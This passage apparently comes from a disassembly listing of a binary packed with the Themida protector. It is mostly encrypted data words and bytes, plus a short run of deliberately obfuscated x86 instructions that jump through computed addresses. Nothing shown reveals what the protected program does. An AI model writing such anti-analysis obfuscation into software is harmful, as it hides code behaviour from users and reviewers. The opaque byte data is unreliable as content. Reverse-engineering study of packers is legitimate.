0BF43C723h, 395226C7h, 0CBFAFAFCh, 0FC0F734Fh dd 0DF235E6Dh, 0CB4C4140h, 6300045Ch, 7396A414h, 1C000004h dd 0F26DB1ECh, 0CF58DCD1h, 0DA45C9C4h, 0B22DF1ACh, 911A1E93h dd 85F817BFh, 0ACE9E681h, 0D8D3FF68h, 0C2B9CB54h, 4FE8533Eh dd 55E708FCh, 67D8DC77h, 0C6B5C768h, 0B25C659Eh, 0EB1D8A8Eh dd 80A66CB0h, 75E01B61h, 0F0921928h, 7CB69A53h, 6C74E243h dd 7B8D49DCh, 434CFFEFh, 0CCFB2441h, 239EADD1h, 0E404B782h dd 2E926E55h, 2CD4F531h, 8B020F58h, 9011AD67h, 55E429ADh dd 6969804Fh, 8BA947C3h, 0EED3h, 0A8F56000h, 55E43D99h dd 9805361Ah, 55E43DA9h, 6AEC262Ah, 6366567h, 9AAC4A79h dd 0F95DE811h, 0A3C7C61Ch, 6C2E8FBFh, 2E53F06Bh, 0EE9D611Ch dd 67DF4C96h, 0E62C4FF5h, 54641729h, 5C6F1DECh, 1A2976E1h dd 3B53F1F4h, 6FAA6501h, 0C4483CBEh, 1F834F4Eh, 0E06449DDh dd 0F785641Ch, 7A3E5BC4h, 0F7764FCAh, 0D968B5D9h, 5A5FDCA3h dd 5EBAD2F6h, 93A8ACD4h, 0D032BDCCh, 0A200FB53h, 0D1A8A3C7h dd 7F3BF9B4h, 56517D0Ch, 0BB50A226h, 0A90E118Ch, 0D962FE51h dd 3545361h, 0CDFD0000h, 0B0D14ED2h, 0A3AE39FDh, 878522E6h dd 709F080Ch, 5E72F93Dh, 60A4D9E8h, 4FD3CAC7h, 35F9B4D0h dd 21E598AAh, 99A8F574h, 1A55E709h, 686737F9h, 0E3BBDCEh dd 0E85B7397h, 0F092FC4Fh, 0EF137753h, 0A6D847CBh, 15833F7h dd 1B7F8F02h, 8B83FA0Ch, 6703050Fh, 0B5842165h, 0CE53F092h dd 4796D44Ah, 70B029B5h, 21233C4Ch, 0BB40A66Ah, 1A9BF809h dd 53F00D2Fh, 4647A0A4h, 9F183357h, 49DCF46Bh, 1C6398FCh dd 0CE98B0EDh, 152A311Bh, 64AED275h, 590D9899h, 0FB0A3129h dd 0DEEF7E8Dh, 5A5370AFh, 284EEFD8h, 0C9E39544h, 98E38CBEh dd 6C068D8Fh, 324D7D61h, 0E86C9C11h, 0DB76B7C4h, 58E3AD15h dd 40B8D0F4h, 35A0DBA1h, 0AD1559E8h, 7E8DDAE3h, 6B8F0B03h dd 0A8911EA9h, 2BF9829Ch, 0A2B91427h, 6926ECA1h, 47E02457h dd 0E6A1AD45h, 0DAE23DC2h, 9AF2B8B5h, 25988h, 0DFD2F200h dd 0C2BBCC5Bh, 0EBA6A13Eh, 138AB827h, 3C71900Fh, 0E95973F8h dd 0C463A7DAh, 0DD4ACEC7h, 0B532F6B1h, 79141893h, 0E96A502h dd 0E62D55E7h, 36656722h, 0B8D69506h, 6A8E0B06h, 87F514A8h dd 77732B74h, 98FC49DCh, 11BF7294h, 367784F0h, 4FC84EDCh dd 463D4B12h, 2040D236h, 32502F5Ch, 6FCCB97Bh, 134E20D4h dd 7586F213h, 6AD3FA28h, 0E7177B81h, 0E11A6E7Fh, 15D3FF44h dd 19283787h, 0F65AAE64h, 98486C5h, 22596BF2h, 0AC64AE2Ah dd 62611133h, 0B3040B2Fh, 4F9A489Ah, 1B8CDDFh, 31510000h dd 1C2DBA7Eh, 7029D61h, 0EB19868Ah, 0D4F36CB0h, 0E2D655D9h dd 0B4783554h, 0A3671E2Bh, 898D0804h, 6DB1EC1Eh, 0CD7CB900h dd 4655E70Fh, 65678B0Dh, 4F9E0636h, 3F791ECBh, 226ECFFh dd 0BDCF9E09h, 0D85ABECEh, 0DC5539DDh, 0B2BC3249h, 560B1939h dd 4F05365Ah, 717E07D5h, 24EC265Ah, 678630C2h, 0F08FFA11h dd 25A1D9D4h, 894EEEFh, 0BEAD4FC8h, 0D8F9C271h, 0D9FD415Fh dd 0E490C360h, 0CE1F10ABh, 0C9FA81BAh, 0F26D5ED4h, 1525606Bh dd 247263B1h, 7A8CC718h, 69ABE2E3h, 9D053519h, 7C03384Ch dd 0DF3B534Ah, 74CD6A55h, 0FF82F098h, 0E719609Bh, 97B3434Fh dd 50D4F81Ch, 41C6B5D7h, 9DE3DEFAh, 0EF182A82h, 98000000h dd 76F13568h, 4BD45855h, 26C14540h, 3EA96D28h, 0D8E920Fh dd 316C9B2Bh, 585572EDh, 443F4BD4h, 762527C0h, 3B64C7B2h dd 55E70F08h, 6744488Bh, 9E063665h, 0A502394Fh, 49DC4385h dd 0A5D65A3Eh, 0A35EED4Ah, 3E7755E4h, 90081730h, 2DE76B5Fh dd 0F3C4899h, 0CC471AAEh, 44409F4Fh, 57162549h, 178EBC36h dd 4F7F63E7h, 0E27D49CBh, 1269ADE0h, 36463D4Bh, 798B40D2h dd 68AB0A02h, 20F46FA1h, 0C536B22h, 0CEE75FEh, 78F721BBh dd 2A5B2454h, 0C9208F73h, 0DB329D41h, 0EC189AACh, 1E898DB1h dd 44394AECh, 0C7F7AEDBh, 0B12C5F43h, 2F1EC574h, 38FA5E32h dd 43401F8Ch, 0F6B1DD4Ah, 2A616F3Ch, 2F46B512h, 854564FCh dd 0D16B08E4h, 37A8C43h, 0DD5E60FFh, 1E663AF5h, 2B2347B4h dd 0D19h, 1F8C9700h, 923003ACh, 0CFB353F0h, 6767C345h dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h dd 8EBCC3FBh, 6D98E717h, 46471830h, 531F2757h, 0C381E389h dd 4, 3304EB83h, 1C31241Ch, 241C3324h, 0E389535Ch, 4C381h dd 0EB830000h, 241C8704h, 2434895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edi mov edi, 10192869h xor edi, 1EF757B0h xchg ebp, edi inc ebp xchg ebp, edi sub edi, 0ABD0E36h sub edi, 0FE19DDCFh mov esi, edi pop edi push esp mov ebx, [esp] add esp, 4 push 4ED2h mov [esp], esi pop dword ptr [ebx+8] push dword ptr [esp] pop ebx add esp, 4 mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_585C7C ; --------------------------------------------------------------------------- dw 0E116h ; --------------------------------------------------------------------------- fbstp tbyte ptr [edi] mov eax, 6179F13h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 9 dd offset byte_5CB521 dd 0F56012B4h, 0E01213CCh, 0D7409918h, 313E090Eh, 3251506Fh dd 9664E21Eh, 0F2755119h, 0CB742CC9h, 5E360604h, 0B779CBE4h dd 0E9382224h, 2Ah, 7EF9816Eh, 9 dup(0) dd 40E90000h, 70000005h, 4ED95D50h, 23BC403Dh, 3EA96D28h dd 16919510h, 0F576BAF7h, 595473C3h, 403D4AD5h, 6C2723BCh dd 9E0D3FA8h, 238CFF9Ah, 55E73210h, 67BC6093h, 0C7C2CD65h dd 0B5D4ABA3h, 0D44734F8h, 0F092F84Bh, 0E4177B53h, 0F09288BBh dd 0D070B53h, 59712C5Eh, 71890406h, 0A8A0DDEEh, 0C9C1BCD7h dd 0EC1C99B6h, 62A8CFA8h, 8BBAD1BEh, 61FE0279h, 79E62A65h dd 0CE39524Dh, 0F092D261h, 27ED5153h, 0D2CBF887h, 97FE5DBAh dd 0DD215C68h, 3D4D4042h, 1893BFCEh, 92A79B1Ah, 0F39C53F0h dd 8C905E9Ch, 902E8594h, 8A000000h, 6366567h, 0F0929AA7h dd 0C898653h, 2D6863FCh, 345BBA1Dh, 2A412EEEh, 948D0228h dd 19C85h, 67180000h, 0C7BECC66h, 1F2F53B7h, 0E3AFDDACh dd 0F092F742h, 0E4080C53h, 149BB132h, 0F53F19FEh, 75932526h dd 0A2BD8C29h, 523653F0h, 96BA1E2Eh, 0E17FF566h, 21EF4207h dd 8E2EA75Eh, 0EB0F68D6h, 59547229h, 0FB566521h, 1E2E6764h dd 1380B3BAh, 3F0353F0h, 2CFF16F5h, 0BC76315Dh, 9CAFDEEFh dd 4EC4BFCDh, 0B0EB1D8Ah, 0CBC2C49Bh, 674B8949h, 7A053568h dd 0F2245449h, 0B2812E99h, 3153F092h, 1DC4A8BFh, 0BBDFAA8Ch dd 6D12565h, 0CB491118h, 8FBECD24h, 6F910E12h, 58730C3Ch dd 8611ADAFh, 0E60A87DDh, 658C4BD6h, 9538D715h, 0B940785h dd 53F03638h, 3B48D7BBh, 5D37B042h, 0FD000000h, 5356867h dd 3A524F7Ah, 2B5AB11Eh, 29D611Ch, 0E17E8E03h, 7DD25AE3h dd 6C11CC79h, 0E6012560h, 389CACE9h, 0BE59E414h, 0D5E51B57h dd 47D18594h, 0DF000000h, 5356867h, 3B534E7Ah, 0A9D2624h dd 528EAF97h, 46193155h, 93D4D48h, 6A98A7CEh, 9BBF1B33h dd 0C20168A7h, 884ACEC3h, 7376667h, 0F092A4A6h, 9FF69953h dd 948C8D53h, 82985h, 2F3E0000h, 0FB5F6F1Eh, 0F48B3739h dd 8655DFD6h, 61FE0E8Bh, 0C1BCD75Fh, 0B1D2ADDDh, 98B3CCFCh dd 9E9BED1Dh, 5AEA3F7Eh, 0C0D70629h, 8FE6557Ah, 0A2A35570h dd 4343C7EBh, 4AA5D6A2h, 2BFC8B3Ah, 0C4B2641Fh, 0A1DCEE46h dd 380677BDh, 3949DC5Dh, 285A2555h, 0FAECD987h, 1A29FB75h dd 2C5F4367h, 4676315Dh, 0E78030C2h, 2786B6E5h, 55E4061Ah dd 7C8BE22Dh, 50CF534Ah, 3D4C7F2Eh, 3A7B900Bh, 55E4060Fh dd 32728084h, 6B601B2Dh, 371B821Dh, 0F200CAC1h, 0A0F704B2h dd 0E82C5F61h, 0A9899E4Ch, 154388Bh, 3E4D0000h, 0E0649411h dd 188B2812h, 923100ADh, 0CEB253F0h, 0F092BC8Fh, 38533753h dd 0F0924CFFh, 0B143C753h, 6398ECFDh, 0DC9044C2h, 0A2D9BD49h dd 21F3AADBh, 705E1685h, 9CC5D30Ch, 0BFC19E94h, 253348CCh dd 99D15CF8h, 0E9A4A33Fh, 3A5175D1h, 0E4C64EFDh, 0B341C555h dd 3648EA1Ch, 0AFD33747h, 34BEC09Fh, 0E7639B12h, 93B4CBC3h dd 719DE21Ah, 0A3D00636h, 43F0C64Ch, 0B0EB1D2Ch, 7ACFCD9Bh dd 3200E96Ch, 568430E0h, 0A08BA905h, 23F1ACD9h, 4540h dd 65806C00h, 9043EC1Fh, 53D3F092h, 0E35EDFEFh, 0CCD3F092h dd 2A31EC03h, 1D91631Eh, 2E8FBCC8h, 53F09273h, 40544B7h dd 0D4157189h, 53F09265h, 79E7D25Ch, 0A61AEE4Bh, 4D712C59h dd 5BDFA3C7h, 7D81h, 61802F00h, 8347E01Bh, 7449DC6Ah, 0FE537107h dd 0D9C418F0h, 0E48FA190h, 3A5E2255h, 0F9269102h, 55E48F4Ah dd 10CF45C9h, 0EC7BBFEEh, 0D86BB4DAh, 5B55E48Fh, 7ABBD3F7h dd 55E48EC2h, 5A6980CFh, 0D1B17528h, 0F6374430h, 4FCCEC3Fh dd 0CB385034h, 59DF7BBDh, 54A27427h, 0D08F855Fh, 0B0CFFFAEh dd 9CE31B92h, 7B043471h, 0C433544Fh, 934265ADh, 2D5BAA7Ch dd 0C4C6911Eh, 391D45F3h, 61803FF5h, 0BBC81EE9h, 83A70360h dd 18782F88h, 8FF349D8h, 0A3DEED7Ch, 67E65551h, 0BE1A3269h dd 40737168h, 32C03C17h, 0EC306B9Dh, 225A5173h, 9E10E683h dd 0C72E89DAh, 352C1C54h, 0CD04F88Fh, 6ABC06EDh, 9BAA1308h dd 2425C2E6h, 0D2F4AB69h, 0B6C857DBh, 9AA8B7C7h, 8D6CEBE3h dd 0DF58CB66h, 2CF6AE6Ch, 9DE9AC45h, 784C431Dh, 3F411E14h dd 2D5FC84Ch, 7CF35D8Ch, 0E70BDE52h, 8C5D7h, 93EA0000h dd 0DF73D78h, 6767A68Ch, 497B0434h, 29253A52h, 4015E6Eh dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h dd 571F2757h, 0BB53E789h, 443D1629h, 4A4DCB81h, 0CB813CD4h dd 15356FBh, 5EFBEB81h, 0DF017DFFh, 4EF835Bh, 5C243C87h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 4C68241Ch dd 89000023h, 0BF57240Ch, 7BEA6708h, 0C781D7F7h, 730532A2h dd 0AE84C781h, 0ABB1158h, 310E64DAh, 60685FFBh, 8900000Ch dd 4832424h, 50590424h, 4189D889h, 24048B08h, 4C481h, 0C8B0000h dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 2434FF5Ch dd 4C4815Bh, 0E9000000h, 0FFFCDB90h, 2E20908Fh, 0B8F0B508h dd 617A4B3h, 0E0FFC503h, 2559AAE1h, 0EC3D3EFh, 7A27F751h dd 4475820Eh, 6BE5BF1Ch, 25BBA0ADh, 75520929h, 5C3A392Dh dd 0DBE02A2h, 6094904Fh, 498610D6h, 237DE61Dh, 6D3B0373h dd 16D18F3Dh, 72DD2AFAh, 5FBFA1Dh, 6614BFCFh, 35916F29h dd 69D2ABBFh, 7186CDDBh, 4C3C856Fh, 148E9h, 7000h, 7400h dd 7800h, 7C00h, 8000h, 8400h, 8800h, 8C00h, 0D000h, 0D400h dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 0F000h dd 0F400h, 0F800h, 0FC00h, 10000h, 10400h, 10800h, 10C00h dd 38h dup(0) dd 5B81B500h, 0B2C20300h, 0B9858D00h, 310617A5h, 140DC185h dd 0F9858906h, 90617A6h, 14344195h, 4985C606h, 54061408h dd 5547BA66h, 32061268h, 8B6660D0h, 61CF8BCBh, 3B243481h dd 0FF3E506Eh, 142C65B5h, 0EB816606h, 858DE90Ch, 61778FEh dd 16CD958Bh, 0D0FF0614h, 0CFD9529h, 95BB0614h, 8967A6B3h dd 17A6FD85h, 199D8906h, 0E9061413h, 63h, 64FEEB81h, 0C18166A0h dd 294E01DBh, 0F9B58B56h, 890617A6h, 0F9858306h, 40617A6h dd 8D60C35Eh, 17A5B9B5h, 560FEB06h, 36FF006Ah, 0A6FD95FFh dd 835E0617h, 3E8304C6h, 61EC7500h, 3B966C3h, 858D8960h dd 0F061410h, 1688h, 11E900h, 0C03A0000h, 0D93B6CB6h, 0B2D3491Fh dd 19A4EEDEh, 8DE6C86Fh, 17A78A85h, 8589F806h, 61403FDh dd 39EBh, 2CC00CBh, 2E400CBh, 0CBh, 15370000h, 19E61729h dd 11B92630h, 151F7221h, 52591F2Ah, 7C761E20h, 3049260Ah dd 8C87208h, 1226020Bh, 19D31A10h, 1CD01625h, 943B722Eh dd 7C347247h, 27D92964h, 78292ECDh, 78A236C5h, 7C43725Ch dd 72622107h, 0D70C8085h, 6C39CFCDh, 0BCBF7450h, 58E7CF67h dd 0E9267450h, 7A924211h, 6CB2CFC7h, 9A17450h, 596DF14Dh dd 7C6E664Ah, 2F646B30h, 0C5A2B2CFh, 0F50D7240h, 689E6BC1h dd 2EDEFF42h, 83A764E3h, 0FF882997h, 686657F9h, 6B407242h dd 0C5A22114h, 0F50D7240h, 689E6BC1h, 3DDEFF42h, 83A764E0h dd 0F7882997h, 68799FD1h, 79BE7D42h, 1A1A7244h, 0D95983C5h dd 0F10FB2CFh, 7A5750B5h, 74E8F782h, 16867450h, 7F802344h dd 5C347244h, 0F543B11Dh, 0FD095608h, 6B825600h, 3D437244h dd 32FBB115h, 0E1597C6Ah, 7A7C518Dh, 7C347DACh, 31337F44h dd 7636D56Bh, 751B3F13h, 50DDABCCh, 0B914F924h, 55D66674h dd 6873AFC1h, 146A1342h, 2C6D2A16h, 7C0D66ACh, 4FACD144h dd 0F96EB8AFh, 0C45974D4h, 19CB0197h, 72331D26h, 226D24C2h dd 7C3E76C5h, 95414324h, 7C867248h, 0FFE30BADh, 0C970307Ch dd 0E0B5875Bh, 7E95C7CDh, 0C9CB7450h, 7A0E5E21h, 8288FFB1h dd 1680653Ch, 7FAB2244h, 5CA17244h, 0F588B11Ch, 0FD6C5600h dd 6B305600h, 3C1A7244h, 594EB114h, 0C9AFB3F5h, 7A576A41h dd 78CBA2BBh, 9480722Eh, 7C687247h, 24F72A64h, 783E36CDh dd 782936C5h, 7C867259h, 23802204h, 7D636035h, 8EF37FA0h dd 79E55952h, 1432664Ch, 0EAC71F7Bh, 7C0D74ACh, 89CF5B44h dd 73BC97ABh, 7CA170C6h, 23B11244h, 0BD4C76C5h, 165D50E6h dd 7FF22744h, 5C0D7244h, 0F5DBB119h, 0FD475628h, 69A55600h dd 39D07244h, 8C44B111h, 7C3476ACh, 7C189E44h, 7C089A44h dd 0DACC7244h, 0C3116D98h, 5A434F97h, 2E80221Bh, 7C6866ACh dd 189DF144h, 1C34B3Fh, 0A5745235h, 0CF7D2A79h, 4EC0607Ch dd 0B32A1424h, 26E17D1Eh, 582CF91Ch, 0F779C040h, 0F5402344h dd 73095600h, 7C8670C4h, 24B7F844h, 7A492CF2h, 2ED07244h dd 9CC9AA4Eh, 0E989F987h, 261C6655h, 0F186722Eh, 7A9264A9h dd 7C29A2BBh, 7CA29A14h, 24F07244h, 38E12A87h, 38B57660h dd 7C017660h, 2C4D7244h, 2BD81987h, 2D7BBA05h, 0A224FBC5h dd 0F7D665E3h, 7EA477BCh, 0F9BD7244h, 7A0DD5A6h, 0F515B2C7h dd 6B2194C1h, 0C5834142h, 7CA170A8h, 0F7DFD8B7h, 7C687241h dd 0DEEDF322h, 74907D93h, 2E0D7244h, 7167C7CDh, 0BA1D7450h dd 68A93BC1h, 7A383142h, 0A687244h, 580A8800h, 7C129B7Ah dd 3CD57244h, 0CA74F116h, 141A346Ah, 56FE2A7Ah, 7CD063ADh dd 7F6CE444h, 0D4E74D8Bh, 0BF3702BAh, 0DD4F7C8h, 78070D00h dd 74505260h, 0D24FB36h, 83D66647h, 684417F1h, 75B9F942h dd 0F11C6655h, 6B758CC1h, 2C861842h, 7C4371ACh, 0BFF95244h dd 5894FB1Ch, 582CF340h, 7C346E40h, 0BF4A3244h, 658B67F0h dd 3219636Dh, 7AC17DDDh, 0F7A17244h, 68DDABF1h, 89DDF942h dd 8332665Fh, 2C1A1894h, 7C0D71ACh, 0BFDE5244h, 5807FB1Ch dd 58E5F340h, 7CD06540h, 0BF383244h, 3EB710B5h, 7C1A62ACh dd 7FF02B44h, 0F78A0152h, 3AA656BFh, 431EDF86h, 7A547D87h dd 57687244h, 6833E7F1h, 0F9932C42h, 7A19740Dh, 94D7722Eh dd 7C437247h, 25622B64h, 78F43ECDh, 784C36C5h, 7C34725Ch dd 0CFD92305h, 76AE5D0Dh, 550FF7C9h, 7C297450h, 7CA29A17h dd 27F07244h, 20E12987h, 38B57660h, 7C067660h, 2F4E7244h dd 0BD226487h, 7128086Ch, 0F9284B94h, 7AC4695Dh, 9438722Eh dd 7C347247h, 24D92A64h, 782936CDh, 78A236C5h, 7C437250h dd 94622204h, 7499F782h, 5F3B7450h, 681207D1h, 0F1771A42h dd 488CDFBBh, 3243C760h, 21D6FB15h, 0F7A7665Ch, 19658DBFh dd 166E6668h, 7FDC2344h, 5C1A7244h, 0F554B11Dh, 0FD825608h dd 65475600h, 3DA17244h, 0CAEDB115h, 0D6E3EF83h, 33D2A0C5h dd 0F9977F46h, 7A1A0ABAh, 6153EFCDh, 0ACBC7450h, 0A91CFB24h dd 95D66664h, 7C687257h, 9C6605FAh, 0D96F140Eh, 4BEE1161h dd 8C35A1BCh, 1DE620BEh, 55D0F7CDh, 0E9597450h, 7A7C7A15h dd 747DF782h, 1A497450h, 14DA64FAh, 0D64048C3h, 7C4F9A24h dd 8FFC7244h, 63C8B077h, 98BF4FBAh, 0A58041CFh, 5EA3141Eh dd 788C13AFh, 2E0C5E60h, 2F431869h, 7CA171ACh, 0BF8B5244h dd 5834FB1Fh, 5870F340h, 7C1A6840h, 0BF5E3144h, 0B729385Fh dd 0F5BDCF41h, 68A6E7F9h, 19658D42h, 0C26E6668h, 0D2E2382h dd 4E4F7C9h, 7C677453h, 7C859A17h, 27637244h, 20282987h dd 38517660h, 7C747660h, 2F777244h, 5C626287h, 7013E502h dd 0C389A880h, 16938D8Dh, 7F492144h, 5CD07244h, 0F533B11Fh dd 0FD305618h, 6A1E5600h, 3F0D7244h, 0AA30B117h, 45C6FBC2h dd 16A76647h, 7F382344h, 5C687244h, 0F56DB11Dh, 0FD1E5608h dd 6B095600h, 3D867244h, 99E5B115h, 0F9282EB4h, 7AC46D4Dh dd 7421F782h, 16737450h, 7FF22444h, 5C0D7244h, 0F5D8B11Ah dd 0FD475630h, 65A55600h, 3AD07244h, 30BFB112h, 54FACDB2h dd 5233CC22h, 7C0D7FACh, 3ABFCC44h, 105C246Ah, 59A1ABB6h dd 14893394h, 2DAA307Ch, 5A2FD8FAh, 581EF32Ah, 1A11E935h dd 0A347F322h, 19F68DF5h, 16A76668h, 7F382244h, 5C687244h dd 0F56CB11Ch, 0FD1E5600h, 68095600h, 3C867244h, 0F50FB114h dd 68B22BD1h, 8255FF42h, 956E653Ch, 7C347249h, 484C0735h dd 79A6BB8h, 1797AFE6h, 7C579A56h, 34E7244h, 0A2E098ECh dd 0E16AEF58h, 0DEE2789Ch, 0ADC790AEh, 0E986F2FAh, 7A927F25h dd 2B938D1Ah, 6ABCCF6Fh, 0F58E7450h, 6874CFC1h, 688B1442h dd 359FB44Ch, 3B0B664Ch, 51C7EFCDh, 612B7450h, 2E4B5229h dd 58E4F31Ah, 17940F23h, 9463722Eh, 7C1A7247h, 23CE2D64h dd 78A20ECDh, 786736C5h, 7CA17259h, 2B132503h, 0B6F63DBEh dd 7C5DDC26h, 929B1451h, 0C9F2DDADh, 7A925E21h, 4CBEC747h dd 0F92C7450h, 7AC70ABAh, 943B722Eh, 7C347247h, 27D92964h dd 78292ECDh, 78A236C5h, 7C437251h, 1622107h, 7CD99B97h dd 81A57244h, 96BF2FABh, 83BE6AF5h, 94C1F894h, 7C86724Fh dd 6BEF3397h, 13A9CAA3h, 0F5777D45h, 6868DFF9h, 0F9BD2842h dd 7A0E72C5h, 9458722Eh, 7C867247h, 21802F64h, 78851ECDh dd 78F436C5h, 7C68725Eh, 53F72701h, 654F24F0h, 0C184F99Ah dd 7A92612Dh, 740AF782h, 16E67450h, 7F382544h dd 5C687244h, 0F56BB11Bh, 0FD1E5638h, 61095600h, 3B867244h dd 8179B113h, 0F3C1D422h, 31638C79h, 7C6EF14Bh, 0F11F7244h dd 7A0E73C1h, 75FFFD2Ch, 73D42215h, 261A2375h, 58A5F31Ch dd 25133B8Ah, 48A1E7CDh, 0C9CB7450h, 7A0E5E21h, 0F088ACC5h dd 0F90B2291h, 7A540ABAh, 0DA8D6BFAh, 16008D2Ah, 7F802044h dd 5C347244h, 0F540B11Eh, 0FD095610h, 6A825600h, 3E437244h dd 81AB116h, 9D5DF9BEh, 7F6E6667h, 682DEBF9h, 0AD9FFB42h dd 160B6661h, 7F6E2144h, 5C437244h, 0F5FAB11Fh, 0FDD45618h dd 616C5600h, 3F347244h, 9C06B117h, 6729D3F0h, 78E0C980h dd 0E1CAA2BBh, 7AB571C5h, 7E51F7CDh, 7C027450h, 7C379A17h dd 273A7244h, 20842987h, 38077660h, 7C5F7660h, 2FE27244h dd 5A82D87h, 0ADA3D985h, 0C1BF5BD8h, 7A0E5B31h, 95807324h dd 73806659h, 7C4368C4h, 7CB59A44h, 0DF6C7244h, 56C28945h dd 0BC0068B0h, 49095AA4h, 4EBC5603h, 1DD8DE52h, 35C0B8C5h dd 0F0C7760Bh, 2AD0189Ch, 7C6871ACh, 0BF6A5244h, 586EFB1Ah dd 5849F340h, 7C866440h, 0BF153444h, 0F70CAED8h, 16D4568Eh dd 7F802144h, 5C347244h, 0F541B11Fh, 0FD095618h, 68825600h dd 3F437244h, 0F7B9B117h, 68DA4FF1h, 0CDED7342h, 76326661h dd 0A09E7D84h, 730D7247h, 7C8674C9h, 25F6F944h, 0F6A7664Bh dd 3555B4AEh, 336E664Ch, 1D6F322h, 7C1E9A30h, 10C97244h dd 7A6ECDC4h, 0F4437244h, 62CA8F75h, 7CC19BFCh, 36207244h dd 716C49Ah, 0F2F6834Bh, 200AEEC3h, 26C393B8h, 94112214h dd 7CA17254h, 2DF1DF20h, 66EC372Ch, 51B3E7E0h, 0AB98E304h dd 735787CEh, 0F7DE2875h, 1A475600h, 0F7F1F6FEh, 74381244h dd 92687244h, 7D14DB53h, 2A1DF79Eh, 0F56C281Dh, 94825600h dd 7C437250h, 0D57CD840h, 1169D64Ah, 45F028CFh, 0A575244Ch dd 9DD53771h, 7C0D7FADh, 605F9444h, 0F4D31522h, 9A77A4C2h dd 248EE4BBh, 7041C7CDh, 0C9CB7450h, 7A0E5E21h, 945D722Eh dd 7C867247h, 24802A64h, 788536CDh, 78F436C5h, 7C68725Ch dd 87F72204h, 0FED79145h, 7C0D7FACh, 0D48AD044h, 1013B195h dd 52A8C949h, 65622D93h, 82EDFF1Ah, 0F532653Ch, 6815DBF1h dd 73DD8D42h, 7C8673C1h, 0BCC08744h, 2CA11860h, 7CD071ACh dd 0BF305244h, 5870FB1Ch, 585EF340h, 7C0D6F40h, 0BFD63244h dd 2BF9C57Ah, 7F6053B9h, 0C15B2F7Eh, 7A7C72C1h, 74A9F7CDh dd 7C707450h, 7C0E9A12h, 22A67244h, 8CA2C87h, 38207660h dd 7CC77660h, 2A2E7244h, 0C0DCFB87h, 45D0F32Eh, 1A75557Ah dd 0F90DBDCFh, 7A5770C5h, 5970EFCFh, 3F2C7450h, 943F722Eh dd 7C347247h, 23D92D64h, 78290ECDh, 78A236C5h, 7C437259h dd 52622503h, 1AF58F3h, 8C5977C3h, 8EB5148Ch, 67919A4Bh dd 9458722Eh, 7C867247h, 21802F64h, 78851ECDh, 78F436C5h dd 7C687252h, 5EF72701h, 6791A3CDh, 7C6769CFh, 7C859A14h dd 24637244h, 38282A87h, 38517660h, 7C727660h, 2C747244h dd 72BFC687h, 0B8378A2Ch, 7CECAA77h, 7C409A12h, 22817244h dd 8592C87h, 38E97660h, 7C2C7660h, 2A5C7244h, 8C44587h dd 0FC899064h, 7C437240h, 0E03CCB22h, 7A79EFCDh, 7C027450h dd 7C379A14h, 243A7244h, 38842A87h, 38077660h, 7C587660h dd 2CE17244h, 0B4F1E087h, 3E84775Ch, 35B1B439h, 3B1C664Ch dd 945E722Eh, 7C867247h, 27802964h, 78852ECDh, 78F436C5h dd 7C68725Eh, 0CEF72107h, 8B6D3B0Fh, 0BFBC5E76h, 4DF7CF75h dd 0D32B7450h, 1AE517F3h, 0FDD20FFAh, 59925640h, 7C5E013Dh dd 7C199A12h, 222D7244h, 80F2C87h, 38C27660h, 7CB67660h dd 2A967244h, 0A65F9787h, 0E101C89Fh, 0E933315Eh db 59h dword_5B8EA1 dd 0BB7A1942h ; Themida_:005D6B0Ar db 0C7h ; Ç db 0E3h ; ã db 50h ; P db 50h ; P db 74h ; t db 0ABh ; « db 71h ; q db 44h ; D db 72h ; r db 0A1h ; ¡ db 40h ; @ db 2Fh ; / db 0ADh ; db 81h ; db 0E2h ; â db 90h ; db 8 db 17h db 71h ; q db 58h ; X db 28h ; ( db 57h ; W db 0D2h ; Ò db 0CFh ; Ï db 0FFh db 57h ; W db 61h ; a db 50h ; P db 74h ; t db 57h ; W db 0F1h ; ñ db 0C1h ; Á db 8Ch ; Œ db 0FEh ; þ db 6Bh ; k db 42h ; B db 18h db 43h ; C db 2Eh ; . db 0ACh ; ¬ db 71h ; q db 0A1h ; ¡ db 7Ch ; | db 44h ; D db 52h ; R db 8Ah ; Š db 0BFh ; ¿ db 1Eh db 0FBh ; û db 3Ch ; < db 58h ; X db 40h ; @ db 0F3h ; ó db 70h ; p db 58h ; X db 40h ; @ db 65h ; e db 1Ah db 7Ch ; | db 44h ; D db 30h ; 0 db 5Fh ; _ db 0BFh ; ¿ db 55h ; U db 15h db 53h ; S db 0FDh ; ý db 0ADh ; db 7Eh ; ~ db 43h ; C db 7Ch ; | db 44h ; D db 0FFh db 14h db 9Fh ; Ÿ db 25h ; % db 0E2h ; â db 72h ; r db 68h ; h db 61h ; a db 0Eh db 0C1h ; Á db 13h db 5Ch ; \ db 8Dh ; db 0E4h ; ä db 16h db 44h ; D db 25h ; % db 0F2h ; ò db 7Fh ; db 44h ; D db 72h ; r db 0Dh db 5Ch ; \ db 1Bh db 0B1h ; ± db 0D9h ; Ù db 0F5h ; õ db 38h ; 8 db 56h ; V db 47h ; G db 0FDh ; ý db 0 db 56h ; V db 0A5h ; ¥ db 6Ah ; j db 44h ; D db 72h ; r db 0D0h ; Ð db 3Bh ; ; db 13h db 0B1h ; ± db 1 db 0B8h ; ¸ db 25h ; % db 12h db 52h ; R db 0C2h ;  db 1Dh db 0DEh ; Þ db 91h ; ‘ db 86h ; † db 25h ; % db 0FBh ; û db 88h ; ˆ db 0C1h ; Á db 58h ; X db 66h ; f db 80h ; € db 0F7h ; ÷ db 0F9h ; ù db 43h ; C db 56h ; V db 68h ; h db 42h ; B db 0F9h ; ù db 2Ch ; , db 9Dh ; db 5Ah ; Z db 66h ; f db 0D6h ; Ö db 3Ch ; < db 2Eh ; . db 72h ; r db 3Fh ; ? db 94h ; ” db 47h ; G db 72h ; r db 34h ; 4 db 7Ch ; | db 64h ; d db 2Dh ; - db 0D9h ; Ù db 23h ; # db 0CDh ; Í db 0Eh db 29h ; ) db 78h ; x db 0C5h ; Å db 36h ; 6 db 0A2h ; ¢ db 78h ; x db 